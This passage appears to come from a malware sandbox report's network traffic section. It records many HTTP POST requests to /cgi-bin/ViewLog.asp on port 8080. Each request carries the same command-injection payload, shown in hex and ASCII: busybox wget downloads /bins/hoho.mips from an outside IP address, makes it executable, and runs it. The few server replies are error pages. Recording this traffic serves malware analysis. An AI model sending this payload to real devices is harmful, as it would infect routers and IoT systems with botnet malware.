                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:43.863024950 CET142INHTTP/1.0 400 Bad Request
                                                Data Raw: 43 6c 69 65 6e 74 20 73 65 6e 74 20 61 6e 20 48 54 54 50 20 72 65 71 75 65 73 74 20 74 6f 20 61 6e 20 48 54 54 50 53 20 73 65 72 76 65 72 2e 0a
                                                Data Ascii: Client sent an HTTP request to an HTTPS server.


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                686192.168.2.154485685.121.56.2018080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:43.526062965 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:43.736058950 CET499INHTTP/1.1 401 Unauthorized
                                                Date: Sun, 14 Sep 2014 07:29:49 GMT
                                                Server: Boa/0.94.14rc21
                                                Accept-Ranges: bytes
                                                Content-encoding: gzip
                                                Connection: close
                                                WWW-Authenticate: Basic realm="WF2411"
                                                user"
                                                Content-Type: text/html; charset=ISO-8859-1
                                                Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 31 20 55 6e 61 75 74 68 6f 72 69 7a 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 34 30 31 20 55 6e 61 75 74 68 6f 72 69 7a 65 64 3c 2f 48 31 3e 0a 59 6f 75 72 20 63 6c 69 65 6e 74 20 64 6f 65 73 20 6e 6f 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 67 65 74 20 55 52 4c 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 20 66 72 6f 6d 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a
                                                Data Ascii: <HTML><HEAD><TITLE>401 Unauthorized</TITLE></HEAD><BODY><H1>401 Unauthorized</H1>Your client does not have permission to get URL /cgi-bin/ViewLog.asp from this server.</BODY></HTML>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                687192.168.2.153724031.136.7.2498080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:43.531507015 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:44.120549917 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:45.272495031 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:47.736546993 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:52.344295979 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:01.560064077 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                688192.168.2.153565494.121.130.1788080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:43.553122044 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                689192.168.2.156027495.86.90.2198080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:43.558967113 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                690192.168.2.155755431.136.11.1308080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:43.571491957 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:46.712474108 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:52.856302023 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:04.887995005 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                691192.168.2.153429231.136.53.1268080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:43.575462103 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:46.712471962 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:52.856336117 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:04.887983084 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                692192.168.2.155600095.110.185.248080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:43.583774090 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:43.780427933 CET556INHTTP/1.1 400 Bad Request
                                                Content-Type: text/html; charset=us-ascii
                                                Server: Microsoft-HTTPAPI/2.0
                                                Date: Thu, 23 Nov 2023 04:22:39 GMT
                                                Connection: close
                                                Content-Length: 311
                                                Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a
                                                Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                693192.168.2.153807495.214.180.2368080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:43.585306883 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:43.766285896 CET142INHTTP/1.0 400 Bad Request
                                                Data Raw: 43 6c 69 65 6e 74 20 73 65 6e 74 20 61 6e 20 48 54 54 50 20 72 65 71 75 65 73 74 20 74 6f 20 61 6e 20 48 54 54 50 53 20 73 65 72 76 65 72 2e 0a
                                                Data Ascii: Client sent an HTTP request to an HTTPS server.


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                694192.168.2.154994294.120.248.1008080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:43.600707054 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                695192.168.2.155665631.136.60.1198080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:43.699348927 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:44.280527115 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
